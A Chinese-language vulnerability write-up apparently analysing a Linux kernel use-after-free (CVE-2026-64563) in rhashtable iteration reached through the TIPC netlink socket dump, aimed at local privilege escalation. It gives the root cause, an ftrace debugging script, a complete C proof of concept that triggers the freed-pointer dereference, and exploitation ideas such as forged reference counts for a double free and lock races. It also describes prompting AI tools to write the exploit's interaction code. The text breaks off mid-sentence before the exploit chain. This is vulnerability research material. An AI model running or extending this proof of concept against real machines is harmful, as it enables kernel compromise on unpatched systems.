​

一、漏洞简介

漏洞编号: CVE-2026-64563

影响版本: v4.18 < Linux Kernel < v7.2

漏洞产品: linux kernel

利用效果: 本地权限提升

​

二、环境搭建

复现环境:qemu + linux kernel v6.12.67

环境附件: bzImage

复现流程: qemu启动内核后,将exp编译传到vm中(或者编译好重新打包文件系统),gdb下断点到__sk_destruct,运行即可见成功劫持内核程序流

​

三、漏洞原理

该漏洞的原理比较简单,主要是当哈希表扩容时,没有清空iter->p指针

int rhashtable_walk_start_check(struct rhashtable_iter *iter)
	__acquires(RCU)
{
	......
	if (!iter->walker.tbl) {
		iter->walker.tbl = rht_dereference_rcu(ht->tbl, ht);
		iter->slot = 0;
		iter->skip = 0;//没有清空iter->p指针
		return -EAGAIN;
	}
  ......
}

导致后续遍历哈希表时对已经失效的iter->p指针进行解引用造成uaf

void *rhashtable_walk_next(struct rhashtable_iter *iter)
{
	struct rhlist_head *list = iter->list;
	struct rhashtable *ht = iter->ht;
	struct rhash_head *p = iter->p;
	bool rhlist = ht->rhlist;

	if (p) {
		if (!rhlist || !(list = rcu_dereference(list->next))) {
			p = rcu_dereference(p->next);
			list = container_of(p, struct rhlist_head, rhead);
		}
		if (!rht_is_a_nulls(p)) {
			iter->skip++;
			iter->p = p;
			iter->list = list;
			return rht_obj(ht, rhlist ? &list->rhead : p);
		}

		/* At the end of this slot, switch to next one and then find
		 * next entry from that point.
		 */
		iter->skip = 0;
		iter->slot++;
	}

	return __rhashtable_walk_find_next(iter);
}

​

四、POC构造

首先需要明确的是,该漏洞并不是源于某一个具体的子系统的代码,而是一个代码库出的漏洞。所以要进行分析首先选定调用漏洞代码的功能,而根据该漏洞的patch的提示,常用的有__netlink_diag_dump和tipc_nl_sk_walk

这里作者选择的是tipc_nl_sk_walk

int tipc_nl_sk_walk(struct sk_buff *skb, struct netlink_callback *cb,
		    int (*skb_handler)(struct sk_buff *skb,
				       struct netlink_callback *cb,
				       struct tipc_sock *tsk))
{
	struct rhashtable_iter *iter = (void *)cb->args[4];
	struct tipc_sock *tsk;
	int err;

	rhashtable_walk_start(iter);
	while ((tsk = rhashtable_walk_next(iter)) != NULL) {
		if (IS_ERR(tsk)) {
			if (PTR_ERR(tsk) == -EAGAIN)
				continue;
			break;
		}

		sock_hold(&tsk->sk);
		rhashtable_walk_stop(iter);
		lock_sock(&tsk->sk);
		err = skb_handler(skb, cb, tsk);
		if (err) {
			release_sock(&tsk->sk);
			sock_put(&tsk->sk);
			goto out;
		}
		release_sock(&tsk->sk);
		rhashtable_walk_start(iter);
		sock_put(&tsk->sk);
	}
	rhashtable_walk_stop(iter);
out:
	return skb->len;
}

接下来作者分享一下快速写出一个漏洞的poc的通用思路

4.1 基本交互程序生成

首先我们是不太可能对所有的软件、系统的所有功能都了解怎么去交互,这时候ai的优势就很大了,那么第一步就是,将你想访问到的代码段投喂给ai,然后让它生成一个基本交互程序,形如:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <errno.h>
#include <stdint.h>

static inline void *attr_data(struct nlattr *attr)
{
    return (char *)attr + NLA_HDRLEN;
}

#define NLA_OK(nla, rem)  ((rem) >= (int)sizeof(struct nlattr) && \
                           (nla)->nla_len >= sizeof(struct nlattr) && \
                           (nla)->nla_len <= (rem))

#define NLA_NEXT(nla, rem) ({ \
        struct nlattr *__next = (struct nlattr *)(((char *)(nla)) + NLA_ALIGN((nla)->nla_len)); \
        rem -= NLA_ALIGN((nla)->nla_len); \
        __next; \
})

enum {
        TIPC_NL_UNSPEC,
        TIPC_NL_NODE_GET,
        TIPC_NL_LINK_GET,
        TIPC_NL_SOCK_GET,
        TIPC_NL_PEER_GET,
        TIPC_NL_NAME_TABLE_GET,
        TIPC_NL_MEDIA_GET,
        TIPC_NL_UDP_GET,
        __TIPC_NL_CMD_MAX
};

#define NETLINK_BUF_LEN 4096
static uint16_t tipc_family_id = 0;

static int nl_socket_create(void)
{
        int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
        if (fd < 0) {
                perror("socket");
                return -1;
        }
        struct sockaddr_nl sa = {0};
        sa.nl_family = AF_NETLINK;
        sa.nl_pid = getpid();
        if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
                perror("bind");
                close(fd);
                return -1;
        }
        return fd;
}

static struct nlattr *nla_put(struct nlmsghdr *nlh, int type, int len, const void *data)
{
        struct nlattr *attr = (struct nlattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
        attr->nla_type = type;
        attr->nla_len = NLA_HDRLEN + len;
        memcpy(attr_data(attr), data, len);
        nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(attr->nla_len);
        return attr;
}

static int genl_resolve_family(int fd, const char *family_name, uint16_t *out_family_id)
{
        char buf[NETLINK_BUF_LEN];
        memset(buf, 0, sizeof(buf));

        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
        struct genlmsghdr *genlh;

        nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
        nlh->nlmsg_type = GENL_ID_CTRL;
        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
        nlh->nlmsg_seq = 1;
        nlh->nlmsg_pid = getpid();

        genlh = (struct genlmsghdr *)NLMSG_DATA(nlh);
        genlh->cmd = CTRL_CMD_GETFAMILY;
        genlh->version = 1;
        genlh->reserved = 0;

        nla_put(nlh, CTRL_ATTR_FAMILY_NAME, strlen(family_name)+1, family_name);

        struct sockaddr_nl dst = {0};
        dst.nl_family = AF_NETLINK;
        dst.nl_pid = 0;

        if (sendto(fd, buf, nlh->nlmsg_len, 0, (struct sockaddr *)&dst, sizeof(dst)) < 0) {
                perror("sendto");
                return -1;
        }

        struct msghdr msg = {0};
        struct iovec iov = {.iov_base = buf, .iov_len = sizeof(buf)};
        msg.msg_iov = &iov;
        msg.msg_iovlen = 1;

        ssize_t rlen = recvmsg(fd, &msg, 0);
        if (rlen < 0) {
                perror("recvmsg");
                return -1;
        }

        for (; NLMSG_OK(nlh, rlen); nlh = NLMSG_NEXT(nlh, rlen)) {
                if (nlh->nlmsg_type == NLMSG_ERROR) {
                        struct nlmsgerr *err = NLMSG_DATA(nlh);
                        if(err->error)
                                fprintf(stderr,"[CTRL] Error: %s\n",strerror(-err->error));
                        continue;
                }
                if (nlh->nlmsg_type == NLMSG_DONE)
                        continue;

                genlh = (struct genlmsghdr *)NLMSG_DATA(nlh);
                struct nlattr *attr = (struct nlattr *)((char *)genlh + GENL_HDRLEN);
                int rem = nlh->nlmsg_len - NLMSG_HDRLEN - GENL_HDRLEN;

                for (; NLA_OK(attr, rem); attr = NLA_NEXT(attr, rem)) {
                        if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
                                *out_family_id = *(uint16_t *)attr_data(attr);
                                return 0;
                        }
                }
        }
        fprintf(stderr, "Cannot resolve genl family: %s\n", family_name);
        return -ENOENT;
}

static void dump_attr(struct nlattr *attr, int rem)
{
        for (; NLA_OK(attr, rem); attr = NLA_NEXT(attr, rem)) {
        }
}

static int send_tipc_sock_dump(int fd)
{
        char buf[NETLINK_BUF_LEN];
        memset(buf, 0, sizeof(buf));
        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
        struct genlmsghdr *genlh;

        const uint32_t seq = 2;
        nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
        nlh->nlmsg_type = tipc_family_id;
        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
        nlh->nlmsg_seq = seq;
        nlh->nlmsg_pid = getpid();

        genlh = (struct genlmsghdr *)NLMSG_DATA(nlh);
        genlh->cmd = TIPC_NL_SOCK_GET;
        genlh->version = 1;
        genlh->reserved = 0;

        struct sockaddr_nl dst = {0};
        dst.nl_family = AF_NETLINK;
        dst.nl_pid = 0;

        if (sendto(fd, buf, nlh->nlmsg_len, 0, (struct sockaddr *)&dst, sizeof(dst)) < 0) {
                perror("sendto dump req");
                return -1;
        }

        int found_dump_data = 0;
        while (1) {
                char recvbuf[NETLINK_BUF_LEN];
                struct msghdr msg = {0};
                struct iovec iov = {.iov_base = recvbuf, .iov_len = sizeof(recvbuf)};
                msg.msg_iov = &iov;
                msg.msg_iovlen = 1;

                ssize_t rlen = recvmsg(fd, &msg, 0);
                if (rlen <= 0) {
                        break;
                }

                struct nlmsghdr *rx_nlh = (struct nlmsghdr *)recvbuf;
                for (; NLMSG_OK(rx_nlh, rlen); rx_nlh = NLMSG_NEXT(rx_nlh, rlen)) {
                        if (rx_nlh->nlmsg_seq != seq) {
                                continue;
                        }

                        if (rx_nlh->nlmsg_type == NLMSG_ERROR) {
                                struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(rx_nlh);
                                fprintf(stderr, "[NLMSG_ERROR] errno=%d, strerr: %s\n",
                                        -err->error, strerror(-err->error));
                                if (err->error != 0) {
                                        return -err->error;
                                } else {
                                        continue;
                                }
                        }

                        if (rx_nlh->nlmsg_flags & NLM_F_DUMP_INTR)
                                fprintf(stderr, "Dump interrupted flag set\n");

                        if (rx_nlh->nlmsg_type == NLMSG_DONE) {
                                if (!found_dump_data) {
                                        fprintf(stderr, "No socket entry returned!\n");
                                        return -ENODATA;
                                }
                                return 0;
                        }

                        found_dump_data = 1;
                        struct genlmsghdr *rx_genlh = (struct genlmsghdr *)NLMSG_DATA(rx_nlh);
                        struct nlattr *attr = (struct nlattr *)((char *)rx_genlh + GENL_HDRLEN);
                        int rem = rx_nlh->nlmsg_len - NLMSG_HDRLEN - GENL_HDRLEN;
                        dump_attr(attr, rem);
                }
        }

        if (!found_dump_data) {
                fprintf(stderr, "No dump data, stream terminated early\n");
                return -ENODATA;
        }
        return 0;
}

int main(void)
{
        int fd = nl_socket_create();
        if (fd < 0)
                return 1;

        if (genl_resolve_family(fd, "TIPC", &tipc_family_id) < 0) {
                close(fd);
                return 1;
        }

        int ret = send_tipc_sock_dump(fd);
        if (ret < 0) {
                fprintf(stderr, "send_tipc_sock_dump return %d\n", ret);
                close(fd);
                return 1;
        }

        close(fd);
        return 0;
}

4.2 运行错误排查

一般比较强的ai生成的代码不会怎么出现编译错误(编译都有问题反复拷打几遍就好了,最终生成一个至少是能编译成功的程序),但是肯定会出现运行错误,因为市面上的ai不会针对某一项东西专门训练,训练的不够,在一些细节上的处理就很一般(最典型的就是netlink报文的构造),所以需要人工进行排查,然后投喂出现错误的代码段给ai即可解决

通常排查的思路是什么呢?首先就是用perror输出错误的地方,这时候就比较痛苦了,以一个系统调用为例,比如说send,就需要在内核处理send系统调用的地方下断点,然后一步步跟进函数调用,观察是哪里返回的错误(一般耗时特别高,解决这问题要反复调试,大概是在一两个小时[调用链很长就得反复测试很久才能确定错误具体是哪里函数返回的])

这里以Linux内核为例,分享一个能比较快定位到运行错误的方法,首先执行strace(也可以选择在程序内执行perror),确定错误类型

然后执行这段脚本(原理是通过ftrace获取内核函数调用细节)

#!/bin/bash
TRACE_DIR="/sys/kernel/debug/tracing"
[ ! -d "$TRACE_DIR" ] && mount -t tracefs nodev /sys/kernel/debug
echo 0 > "$TRACE_DIR/tracing_on"
echo nop > "$TRACE_DIR/current_tracer"
echo > "$TRACE_DIR/set_ftrace_filter"
echo > "$TRACE_DIR/set_ftrace_pid"
echo > "$TRACE_DIR/set_graph_function"
[ -f "$TRACE_DIR/options/funcgraph-retval" ] && echo 1 > "$TRACE_DIR/options/funcgraph-retval"
echo function_graph > "$TRACE_DIR/current_tracer"
(
    echo $BASHPID > "$TRACE_DIR/set_ftrace_pid"
    echo 1 > "$TRACE_DIR/tracing_on"
    exec /exp
) &
CHILD_PID=$!
wait $CHILD_PID
echo 0 > "$TRACE_DIR/tracing_on"
cat "$TRACE_DIR/trace" > /tmp/trace.txt

最后在生成的结果中查找返回的错误值即可,可见EINVAL这个错误是genl_rcv_msg函数返回的

gdb调试在genl_rcv_msg下断点,然后往下运行就能看到错误发生的地方了(注:错误是第二次执行genl_rcv_msg触发的)

在解决完EINVAL错误之后又抛出了一个EOPNOTSUPP,经过分析最终发现TIPC有两个版本(系统执行命令genl ctrl list可见),另一个版本才是支持dump操作的

所以最终的基础交互程序则如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>

#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))

#define TIPC_GENL_V2_NAME      "TIPCv2"
#define TIPC_NL_SOCK_GET       6

struct req_msg {
    struct nlmsghdr n;
    struct genlmsghdr g;
    char buf[256];
};

int get_family_id(int fd, const char *family_name) {
    struct req_msg req;
    char ans[1024];

    memset(&req, 0, sizeof(req));
    req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
    req.n.nlmsg_flags = NLM_F_REQUEST;
    req.n.nlmsg_type = GENL_ID_CTRL;
    req.g.cmd = CTRL_CMD_GETFAMILY;
    req.g.version = 2;

    struct nlattr *na = (struct nlattr *)GENLMSG_DATA(&req);
    na->nla_type = CTRL_ATTR_FAMILY_NAME;
    na->nla_len = strlen(family_name) + 1 + NLA_HDRLEN;
    strcpy((char *)na + NLA_HDRLEN, family_name);
    req.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);

    if (send(fd, &req, req.n.nlmsg_len, 0) < 0) {
        perror("send");
        return -1;
    }

    int rep_len = recv(fd, ans, sizeof(ans), 0);
    if (rep_len < 0) {
        perror("recv");
        return -1;
    }

    struct nlmsghdr *nlh = (struct nlmsghdr *)ans;
    if (nlh->nlmsg_type == NLMSG_ERROR) {
        fprintf(stderr, "Error resolving family\n");
        return -1;
    }

    struct genlmsghdr *ghdr = NLMSG_DATA(nlh);
    struct nlattr *attrs = (struct nlattr *)((char *)ghdr + GENL_HDRLEN);
    int len = nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);

    while (len >= (int)sizeof(struct nlattr)) {
        if (attrs->nla_type == CTRL_ATTR_FAMILY_ID) {
            return *(unsigned short *)((char *)attrs + NLA_HDRLEN);
        }
        int aligned_len = NLA_ALIGN(attrs->nla_len);
        len -= aligned_len;
        attrs = (struct nlattr *)((char *)attrs + aligned_len);
    }

    return -1;
}

int main() {
    int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
    if (fd < 0) {
        perror("socket");
        return -1;
    }

    int family_id = get_family_id(fd, TIPC_GENL_V2_NAME);
    if (family_id < 0) {
        fprintf(stderr, "Failed to resolve TIPCv2 family ID. Is tipc module loaded?\n");
        close(fd);
        return -1;
    }
    printf("[+] Resolved TIPCv2 Family ID: %d (0x%x)\n", family_id, family_id);

    struct req_msg req;
    memset(&req, 0, sizeof(req));

    req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
    req.n.nlmsg_type = family_id;
    req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;

    req.g.cmd = TIPC_NL_SOCK_GET;
    req.g.version = 1;

    printf("[+] Sending TIPC_NL_SOCK_GET dump request...\n");
    if (send(fd, &req, req.n.nlmsg_len, 0) < 0) {
        perror("send dump");
        close(fd);
        return -1;
    }

    char buf[4096];
    while (1) {
        int len = recv(fd, buf, sizeof(buf), 0);
        if (len < 0) {
            perror("recv dump");
            break;
        }

        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;

        if (nlh->nlmsg_type == NLMSG_DONE) {
            printf("[+] Dump complete!\n");
            break;
        }
        if (nlh->nlmsg_type == NLMSG_ERROR) {
            struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh);
            fprintf(stderr, "[-] Netlink Error: %d\n", err->error);
            break;
        }

        printf("[+] Received data packet, size: %d bytes\n", len);
        break;
    }

    close(fd);
    return 0;
}

4.3 漏洞细节分析

首先需要明确的是,前面所有操作都是为了能和出现漏洞的功能进行交互(说白了就是在漏洞代码段下个断点,程序执行时能触发到断点,说明写的程序已经初步能访问到漏洞路径了)

接下来就是对漏洞细节的分析(也就是分析怎么构造payload能触发漏洞),而对于一个uaf漏洞来说,主要关注的是漏洞对象的生命周期(也就是分配、释放、重用),首先需要知道iter->p这条指针指向的内存到底是什么

这里解析出来的slab可能有点问题,但是object大小,以及该指针和object基址的偏移是能解析出来的,结合相关代码分析或者拷打ai能得到答案,也就是tipc_sock结构体,偏移920(即0x398)的结构体成员对应上了

gdb调试也能证明这一点

这里作者一时间有些迷惑,因为对tipc完全不了解,作者就在想,这个iter->p怎么就是tipc_sock呢?要知道我们进行的dump操作就是走tipc的,如果tipc_sock都释放了还怎么走到漏洞路径,但最终发现混淆了一个概念:

进行dump操作的socket走的是通用netlink,只是用TIPCv2这个family,而哈希表中存储的指针是来源于tipc套接字,也就是tipc_sk_create分配内存然后存入哈希表

static int tipc_sk_create(struct net *net, struct socket *sock,
			  int protocol, int kern)
{
	......
	/* Allocate socket's protocol area */
	sk = sk_alloc(net, AF_TIPC, GFP_KERNEL, &tipc_proto, kern);//分配内存
	if (sk == NULL)
		return -ENOMEM;
	......
	if (tipc_sk_insert(tsk)) {//插入到哈希表中
		sk_free(sk);
		pr_warn("Socket create failed; port number exhausted\n");
		return -EINVAL;
	}
	......
}

也就是说,需要使用两种socket,AF_NETLINK负责访问漏洞路径(也就是进行dump操作),AF_TIPC负责分配释放漏洞对象(也就是tipc_sock)

解决了漏洞对象的问题就得看具体的漏洞逻辑了,回想一下漏洞原理,那么不难想到,整条漏洞链大致如下:

  1. 释放tipc_sock并触发哈希表扩容
  2. 触发rhashtable_walk_start,使得其忽略iter->p指针的清除
  3. 触发rhashtable_walk_next,对iter->p指针进行解引用(触发uaf读)

观察下面这段代码,是一个循环结构,而rhashtable_walk_next和rhashtable_walk_start之间有一个lock_sock获取锁的操作,那么通过阻塞线程的方式(如果有其它线程已经获取锁,那么该线程会等待锁被释放,然后获取锁才往下执行,而另一个线程获取锁之后访问用户态内存可以通过fallocate阻塞[类似于userfaultfd但该手法仍可用]),使得在运行期间完成步骤1(即释放tipc_sock并触发哈希表扩容),后面继续往下执行不就成功触发漏洞了?

int tipc_nl_sk_walk(struct sk_buff *skb, struct netlink_callback *cb,
		    int (*skb_handler)(struct sk_buff *skb,
				       struct netlink_callback *cb,
				       struct tipc_sock *tsk))
{
	struct rhashtable_iter *iter = (void *)cb->args[4];
	struct tipc_sock *tsk;
	int err;

	rhashtable_walk_start(iter);
	while ((tsk = rhashtable_walk_next(iter)) != NULL) {
		if (IS_ERR(tsk)) {
			if (PTR_ERR(tsk) == -EAGAIN)
				continue;
			break;
		}

		sock_hold(&tsk->sk);
		rhashtable_walk_stop(iter);
		lock_sock(&tsk->sk);
		err = skb_handler(skb, cb, tsk);
		if (err) {
			release_sock(&tsk->sk);
			sock_put(&tsk->sk);
			goto out;
		}
		release_sock(&tsk->sk);
		rhashtable_walk_start(iter);
		sock_put(&tsk->sk);
	}
	rhashtable_walk_stop(iter);
out:
	return skb->len;
}

但是想了很久,发现比较难实现,那么该如何做呢?作者留意到这段代码的逻辑

这个skb_handler主要是触发__tipc_nl_add_sk函数,而该函数的主要功能是将tipc_sock的一些信息存入到skb数据包中,当skb装满之后会返回非0值,也就是触发上面这段代码逻辑

static int __tipc_nl_add_sk(struct sk_buff *skb, struct netlink_callback *cb,
			    struct tipc_sock *tsk)
{
	struct nlattr *attrs;
	void *hdr;

	hdr = genlmsg_put(skb, NETLINK_CB(cb->skb).portid, cb->nlh->nlmsg_seq,
			  &tipc_genl_family, NLM_F_MULTI, TIPC_NL_SOCK_GET);
	if (!hdr)
		goto msg_cancel;

	attrs = nla_nest_start_noflag(skb, TIPC_NLA_SOCK);
	if (!attrs)
		goto genlmsg_cancel;

	if (__tipc_nl_add_sk_info(skb, tsk))
		goto attr_msg_cancel;

	nla_nest_end(skb, attrs);
	genlmsg_end(skb, hdr);

	return 0;

attr_msg_cancel:
	nla_nest_cancel(skb, attrs);
genlmsg_cancel:
	genlmsg_cancel(skb, hdr);
msg_cancel:
	return -EMSGSIZE;
}

而rhashtable_iter的释放时机(关注它是因为它是iter->p这条uaf指针的载体)则是在dump彻底完成时

int tipc_dump_done(struct netlink_callback *cb)
{
	struct rhashtable_iter *hti = (void *)cb->args[4];

	rhashtable_walk_exit(hti);
	kfree(hti);
	return 0;
}

而在netlink_dump中,当cb->dump(也就是tipc_nl_sk_walk)返回非0值时,直接发包return退出函数执行了,跳过了后面的cb->done(也就是tipc_dump_done)

static int netlink_dump(struct sock *sk, bool lock_taken)
{
  ......
	if (nlk->dump_done_errno > 0) {
		cb->extack = &extack;
		nlk->dump_done_errno = cb->dump(skb, cb);
		if (nlk->dump_done_errno == -EMSGSIZE && skb->len)
			nlk->dump_done_errno = skb->len;

		cb->extack = NULL;
	}

	if (nlk->dump_done_errno > 0 ||
	    skb_tailroom(skb) < nlmsg_total_size(sizeof(nlk->dump_done_errno))) {
		mutex_unlock(&nlk->nl_cb_mutex);

		if (sk_filter(sk, skb))
			kfree_skb(skb);
		else
			__netlink_sendskb(sk, skb);
		return 0;
	}
  ......
	if (cb->done)
		cb->done(cb);
  ......
}

也就是说,当skb数据包被填满返回非零值时,函数提前返回,rhashtable_iter结构体并不会释放

那么不难想到,触发漏洞的逻辑则如下:

  1. 触发tipc_nl_sk_walk,并触发提前退出逻辑
  2. 释放tipc_sock,并触发哈希表扩容
  3. 再次触发tipc_nl_sk_walk(此时tipc_sock已然被释放,但是执行rhashtable_walk_start并没有清空iter->p指针,继续往下执行rhashtable_walk_next就会触发uaf)

成功触发内核报错(使用的内核没有开启kasan,但是会有引用计数报错[不同于kasan百分百报错,这是概率性事件,后续进行利用分析时会提到],因为iter->p解引用出来的tipc_sock已经被释放,也就是引用计数归零,后续进行add操作时会触发检测)

完整poc:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>

#ifndef AF_TIPC
#define AF_TIPC 30
#endif

#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
#define TIPC_GENL_V2_NAME      "TIPCv2"
#define TIPC_NL_SOCK_GET       6

#define MAX_TIPC_SOCKETS 200
#define FIRST_BATCH 150
#define SECOND_BATCH (MAX_TIPC_SOCKETS - FIRST_BATCH)

struct req_msg {
    struct nlmsghdr n;
    struct genlmsghdr g;
    char buf[256];
};

int get_family_id(int fd, const char *family_name) {
    struct req_msg req;
    char ans[2048];

    memset(&req, 0, sizeof(req));
    req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
    req.n.nlmsg_flags = NLM_F_REQUEST;
    req.n.nlmsg_type = GENL_ID_CTRL;
    req.g.cmd = CTRL_CMD_GETFAMILY;
    req.g.version = 2;

    struct nlattr *na = (struct nlattr *)GENLMSG_DATA(&req);
    na->nla_type = CTRL_ATTR_FAMILY_NAME;
    na->nla_len = strlen(family_name) + 1 + NLA_HDRLEN;
    strcpy((char *)na + NLA_HDRLEN, family_name);
    req.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);

    if (send(fd, &req, req.n.nlmsg_len, 0) < 0) {
        perror("send");
        return -1;
    }

    int rep_len = recv(fd, ans, sizeof(ans), 0);
    if (rep_len < 0) {
        perror("recv");
        return -1;
    }

    struct nlmsghdr *nlh = (struct nlmsghdr *)ans;
    if (nlh->nlmsg_type == NLMSG_ERROR) {
        return -1;
    }

    struct genlmsghdr *ghdr = NLMSG_DATA(nlh);
    struct nlattr *attrs = (struct nlattr *)((char *)ghdr + GENL_HDRLEN);
    int len = nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);

    while (len >= (int)sizeof(struct nlattr)) {
        if (attrs->nla_type == CTRL_ATTR_FAMILY_ID) {
            return *(unsigned short *)((char *)attrs + NLA_HDRLEN);
        }
        int aligned_len = NLA_ALIGN(attrs->nla_len);
        len -= aligned_len;
        attrs = (struct nlattr *)((char *)attrs + aligned_len);
    }

    return -1;
}

int main() {
    int tipc_fds[MAX_TIPC_SOCKETS];
    int created_count = 0;

    for (int i = 0; i < FIRST_BATCH; i++) {
        tipc_fds[i] = socket(AF_TIPC, SOCK_DGRAM, 0);
        if (tipc_fds[i] < 0) {
            perror("Failed to create TIPC socket (Is tipc module loaded?)");
            for (int j = 0; j < created_count; j++) close(tipc_fds[j]);
            return -1;
        }
        created_count++;
    }

    int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
    if (fd < 0) {
        perror("socket AF_NETLINK");
    }

    int family_id = get_family_id(fd, TIPC_GENL_V2_NAME);
    if (family_id < 0) {
        close(fd);
    }

    struct req_msg req;
    memset(&req, 0, sizeof(req));
    req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
    req.n.nlmsg_type = family_id;
    req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
    req.g.cmd = TIPC_NL_SOCK_GET;
    req.g.version = 1;

    if (send(fd, &req, req.n.nlmsg_len, 0) < 0) {
        perror("send dump");
        close(fd);
    }

    for (int i = FIRST_BATCH; i < MAX_TIPC_SOCKETS; i++) {
        tipc_fds[i] = socket(AF_TIPC, SOCK_DGRAM, 0);//触发哈希表扩容
        if (tipc_fds[i] < 0) {
            perror("Failed to create remaining TIPC socket");
            for (int j = 0; j < created_count; j++) close(tipc_fds[j]);
            return -1;
        }
        created_count++;
    }
    sleep(1);

    for (int i = 0; i < created_count; i++) {
        close(tipc_fds[i]);//释放tipc_sock
    }
    sleep(1);

    char buf[10];
    int len = recv(fd, buf, sizeof(buf), 0);
    if (len < 0) {
        perror("recv dump failed");
    }

    close(fd);
    return 0;
}

​

五、漏洞利用分析

既然uaf指针是iter->p,那么最关键的就是kernel都拿这条指针做什么,事实上比较简单,就是对它进行解引用,如果是一个有效指针则返回,否则就从哈希表下一个slot取值

void *rhashtable_walk_next(struct rhashtable_iter *iter)
{
	struct rhlist_head *list = iter->list;
	struct rhashtable *ht = iter->ht;
	struct rhash_head *p = iter->p;
	bool rhlist = ht->rhlist;

	if (p) {
		if (!rhlist || !(list = rcu_dereference(list->next))) {
			p = rcu_dereference(p->next);
			list = container_of(p, struct rhlist_head, rhead);
		}
		if (!rht_is_a_nulls(p)) {
			iter->skip++;
			iter->p = p;
			iter->list = list;
			return rht_obj(ht, rhlist ? &list->rhead : p);
		}

		/* At the end of this slot, switch to next one and then find
		 * next entry from that point.
		 */
		iter->skip = 0;
		iter->slot++;
	}

	return __rhashtable_walk_find_next(iter);
}

这个就比较耐人寻味了,而前面提到的引用计数错误就与之相关,何为?

下断点到0xffffffff822f0167(第二次触发),此时iter->p解引用得到的正是一个tipc_sock(在poc中我们释放了所有的tipc_sock,所以此时是释放状态引用计数为0,而后续执行的sock_hold在增加引用计数之前会做检测,引用计数为0触发检测)

那么我们就有两种复用内存的方式:

  1. 直接复用iter->p指向的内存,然后伪造解引用得到的指针,使其指向受我们控制的内存(使用该方式需要泄露payload写入的地址)
  2. 复用iter->p解引用的内存(使用该方式无需泄露,但机会比较渺茫,因为iter->p解引用是一个有效地址的情况是哈希冲突,要赌概率)

暂且先不看选择哪种方式复用内存,先看一下后续的利用细节,观察这段代码,对漏洞对象(tipc_sock)进行的操作其实屈指可数,主要就三个:

  1. 获取/释放线程锁
  2. 读取tipc_sock一些字段
  3. 增加/减少引用计数
int tipc_nl_sk_walk(struct sk_buff *skb, struct netlink_callback *cb,
		    int (*skb_handler)(struct sk_buff *skb,
				       struct netlink_callback *cb,
				       struct tipc_sock *tsk))
{
	struct rhashtable_iter *iter = (void *)cb->args[4];
	struct tipc_sock *tsk;
	int err;

	rhashtable_walk_start(iter);
	while ((tsk = rhashtable_walk_next(iter)) != NULL) {
		if (IS_ERR(tsk)) {
			if (PTR_ERR(tsk) == -EAGAIN)
				continue;
			break;
		}

		sock_hold(&tsk->sk);
		rhashtable_walk_stop(iter);
		lock_sock(&tsk->sk);
		err = skb_handler(skb, cb, tsk);
		if (err) {
			release_sock(&tsk->sk);
			sock_put(&tsk->sk);
			goto out;
		}
		release_sock(&tsk->sk);
		rhashtable_walk_start(iter);
		sock_put(&tsk->sk);
	}
	rhashtable_walk_stop(iter);
out:
	return skb->len;
}

这就很令人费解了,针对漏洞对象进行写操作的只有1和3,但是写入的数据是有限的,并且整套流程下来约等于没写,有什么用呢?

作者一开始能想到的就是,进行竞态,在写入之后阻塞线程进行操作,但是有一个问题,tipc_sock已经释放了,根本就无法通过获取线程锁阻塞,这似乎不是一个好的办法

在实验中看到poc触发了引用计数错误,作者联想到这么一种利用方式,为何不伪造引用计数?复用内存时伪造成1,然后kernel增加到2,此时在减少引用计数之前恢复成1,最终就能实现double free了。但是怎么完成竞态呢?

作者在分析以及测试lock_sock获取锁的时候发现这里是两层锁

void lock_sock_nested(struct sock *sk, int subclass)
{
	/* The sk_lock has mutex_lock() semantics here. */
	mutex_acquire(&sk->sk_lock.dep_map, subclass, 0, _RET_IP_);

	might_sleep();
	spin_lock_bh(&sk->sk_lock.slock);
	if (sock_owned_by_user_nocheck(sk))
		__lock_sock(sk);
	sk->sk_lock.owned = 1;
	spin_unlock_bh(&sk->sk_lock.slock);
}

这两层锁分别对应两种唤醒方式:

  1. 第一层锁(自旋锁)线程会忙等待,等待locked字段归0表示未锁定状态,即可获取锁
  2. 第二层锁会让出cpu调度,等待其它线程释放锁时唤醒

那么也就对应两种利用方式:

  1. 阻塞第一层锁的获取,然后修改内存后放行
  2. 阻塞第二层锁的获取,线程让出cpu调度(差不多就是放弃该线程),使得内存的临时修改变成永久修改(因为该线程不会再往下执行)

这里不难想到,利用链则有:

